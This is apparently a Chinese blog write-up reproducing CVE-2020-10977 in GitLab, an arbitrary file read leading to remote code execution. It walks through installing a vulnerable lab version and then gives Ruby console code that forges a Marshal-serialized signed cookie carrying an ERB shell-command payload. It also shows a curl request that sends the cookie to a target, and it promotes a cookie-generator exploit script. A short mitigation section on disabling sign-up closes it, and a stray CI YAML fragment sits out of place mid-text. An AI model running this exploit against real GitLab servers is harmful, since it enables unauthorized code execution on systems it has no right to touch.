GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的web服务。
GitLab是由GitLabInc.开发
使用MIT许可证的基于网络的Git仓库管理工具,且具有wiki和issue跟踪功能。使用Git作为代码管理工具,并在此基础上搭建起来的web服务。
https://git-lab-domain.com/help
如果没有相关版本,那么需要先登录
如果您是运维人员,可以输入以下命令查看:
$ cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
由GitLab CVE-2020-10977 任意文件读取漏洞导致的RCE
暂未可知;
通过作者在Hackerone的报告显示测试环境是:
GitLab information
Version: 12.8.7-ee
Revision: 2643fd87200
并且通过Gitlab官方的反馈是:
或许结合漏洞来源,一个可参考的说法是:
GitLab GitLab CE/EE >=8.5 and < 12.9
GitLab GitLab CE >=8.5,< 12.9
$ docker run -it gitlab/gitlab-ee:{version.label} bash
或者yum安装;我这里的本地环境是选择与报告者 @vakzz 一样的版本
或者使用下面的命令下载:
on:
push:
branches:
- main
- 'releases/**'
wget --content-disposition https://packages.gitlab.com/gitlab/gitlab-ee/packages/scientific/7/gitlab-ee-12.8.7-ee.0.el7.x86_64.rpm/download.rpm
安装
yum -y install ./gitlab......12_8.7.rpm
TIPS:
1.
gitlab-ctl restart
后访问Gitlab返回502,再运行gitlab-ctl reconfigure
即可。2.
gitlab-ctl reconfigure
如果报错No such file or directory
,运行以下命令
touch /opt/gitlab/embedded/etc/90-omnibus-gitlab-kernel.sem.conf
touch /opt/gitlab/embedded/etc/90-omnibus-gitlab-kernel.shmall.conf
touch /opt/gitlab/embedded/etc/90-omnibus-gitlab-net.core.somaxconn.conf
先pull镜像,方便用console
生成反序列化Cookie
docker pull gitlab/gitlab-ee:12.8.1-ee.0
进入console
$ /opt/gitlab/embedded/bin/runsvdir-start &
$ gitlab-ctl reconfigure
$ vi /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
# 替换secret_key_base为服务/受害端的secret_key_base
$ gitlab-rails console
需要注意的是,修改配置yml文件后,就不需要reconfigure了,不然生成新的secret_key_base会覆盖修改的。
gitlab-rails console
攻击代码request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo from CVE-2020-10977 > /tmp/flags` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
访问:
$ curl -k -vvv 'https://git-lab-domain.com/users/sign_in' -b "experimentation_subject_id={cookies[:cookie]}"
当然,我们也编写了相关的EXP供查阅,权当抛砖引玉;
Bigger-than-Bigger::CoVV/Gitlab/CVE-2020-10977::cookie_generater.sh
C(ollection) O(f) V(erified) V(ulnerabilities) : cookie_generater.sh in
https://github.com/Bin4xin/bigger-than-bigger
Author: bin4xin <[email protected]>
Bash scripts to generate cookies out of [gitlab-rails console].
(RCE due to CVE-2020-10977 <local file read>) visit https://hackerone.com/reports/827052
_ _ _ _ _ _
| |__ (_) __ _ __ _ ___ _ _ ___ | |_ | |_ __ _ _ _ ___ | |__ (_) __ _ __ _ ___ _ _
| '_ \| |/ _\ |/ _\ |/ -_)| '_||___|| _|| ' \ / _| || ' \ |___|| '_ \| |/ _\ |/ _\ |/ -_)| '_|
|_.__/|_|\__, |\__, |\___||_| \__||_||_|\__,_||_||_| |_.__/|_|\__, |\__, |\___||_|
|___/ |___/ |___/ |___/
USAGE: bash cookie_generater.sh command [$command] [$url]
SUCH AS: bash cookie_generater.sh [cmd|--cmd|-c] "touch /tmp/success" 8.8.8.8
[help|--help|-h]: print help message. 打印帮助信息
[cmd|--cmd|-c]: generate cookies mode. 生成COOKIE
[$command]: command you want to execute. 要执行的命令
[$url]: gitlab vuln url (unnecessary). gitlab地址,非必要
有兴趣可以点击链接查看,欢迎斧正。
# /opt/gitlab/embedded/service/gitlab-rails/config/initializers/cookies_serializer.rb
# Be sure to restart your server when you modify this file.
Rails.application.config.action_dispatch.use_cookies_with_metadata = false
Rails.application.config.action_dispatch.cookies_serializer = :hybrid
作者提到cookies_serializer.rb
中默认的cookies_serializer = :hybrid
导致了RCE;
多说一句,插入Cookie这个利用方式和Shiro反序列化WEB利用方式有点像(o_O)
大部分问题都是通过匿名用户注册后,在仓库内操作导致的问题,故:取消游客的注册能够减少80%的问题
以Admin用户登录后,进入:
Admin Area
-> Setting
-> Sign-up restrictions
确保Sign-up Restrictions
下 Sign-up enabled
为未勾选状态。